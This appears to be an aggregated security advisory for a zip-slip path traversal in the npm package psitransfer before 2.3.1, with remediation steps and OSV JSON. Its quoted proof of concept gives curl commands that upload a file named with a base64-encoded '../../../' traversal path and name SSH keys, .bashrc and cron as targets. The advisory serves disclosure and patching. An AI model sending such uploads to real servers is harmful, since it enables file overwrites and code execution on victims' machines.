GHSA-xphh-5v4r-r3rx: Psitransfer Path Traversal Vulnerability

HIGH
CVSS 8.1
CWE-23 CWE-22
Published
Advisory Summary

GHSA-xphh-5v4r-r3rx is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Psitransfer libraries in the npm ecosystem. The issue involves psitransfer has zip slip path traversal via tar archive download. Remediation is available by upgrading affected packages to version 2.3.1.

GHSA-xphh-5v4r-r3rx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-xphh-5v4r-r3rx
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-23: Relative Path Traversal
Affected Product Psitransfer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-xphh-5v4r-r3rx

To remediate this vulnerability, upgrade all affected Psitransfer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

psitransfer fixed: 2.3.1
npm install psitransfer@2.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls psitransfer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-xphh-5v4r-r3rx, inspect your project dependencies using npm:

npm ls psitransfer

Analyze the terminal output to locate any version of Psitransfer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.1), your application is affected.

Note: The npm ls psitransfer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Psitransfer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE. ### Details The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries. ``` lib/endpoints.js:275 const entry = pack.entry({ name: info.metadata.name, size: info.size }); ``` ``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ``` ### PoC I. Upload file with malicious filename (no authentication required). ``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64) curl -X POST http://TARGET:3000/files \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: 15" \ -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}" ``` II. Complete upload with PATCH ``` curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -d "MALICIOUS_CONTENT" ``` III. Victim downloads and extracts TAR ``` curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz tar -tzf files.tar.gz ``` ### Impact Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has **uploadPass: false**. Social Engineering Vector: Attacker sends malicious download link to victim.

GHSA-xphh-5v4r-r3rx Affected Psitransfer Versions

1 component(s)
Fixed Versions:
2.3.1
Product / Package Ecosystem Affected Versions Fixed Version
psitransfer
npm
< 2.3.1
2.3.1

References

Frequently Asked Questions

What is GHSA-xphh-5v4r-r3rx?
GHSA-xphh-5v4r-r3rx is a security vulnerability in Psitransfer involving PsiTransfer has Zip Slip Path Traversal via TAR Archive Download under CWE-23: Relative Path Traversal.
Which Psitransfer versions are affected?
Affected versions include releases prior to 2.3.1 across affected packages: psitransfer.
What version fixes GHSA-xphh-5v4r-r3rx?
Upgrading to 2.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is psitransfer affected?
Yes, psitransfer is affected in releases prior to 2.3.1. Upgrade your dependency to 2.3.1 or later.
What is the CVSS score of GHSA-xphh-5v4r-r3rx?
GHSA-xphh-5v4r-r3rx has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-xphh-5v4r-r3rx?
GHSA-xphh-5v4r-r3rx is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check npm dependencies for GHSA-xphh-5v4r-r3rx?
Run the dependency tree command: 'npm ls psitransfer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xphh-5v4r-r3rx",
  "modified" : "2025-12-30T19:25:04Z",
  "published" : "2025-12-30T19:25:04Z",
  "aliases" : [ ],
  "summary" : "PsiTransfer has Zip Slip Path Traversal via TAR Archive Download",
  "details" : "### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, 'tus meta prop missing: name');\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Length: 15\" \\\n  -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++<UUID>\" \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -d \"MALICIOUS_CONTENT\"\n```\n  \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++<HASH>.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "psitransfer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-xphh-5v4r-r3rx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/psi-4ward/psitransfer/commit/6c71bc0b8afa1ffa7aabd6c5fb28677651fd57b6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/psi-4ward/psitransfer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/psi-4ward/psitransfer/releases/tag/v2.3.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-30T19:25:04Z",
    "nvd_published_at" : null
  }
}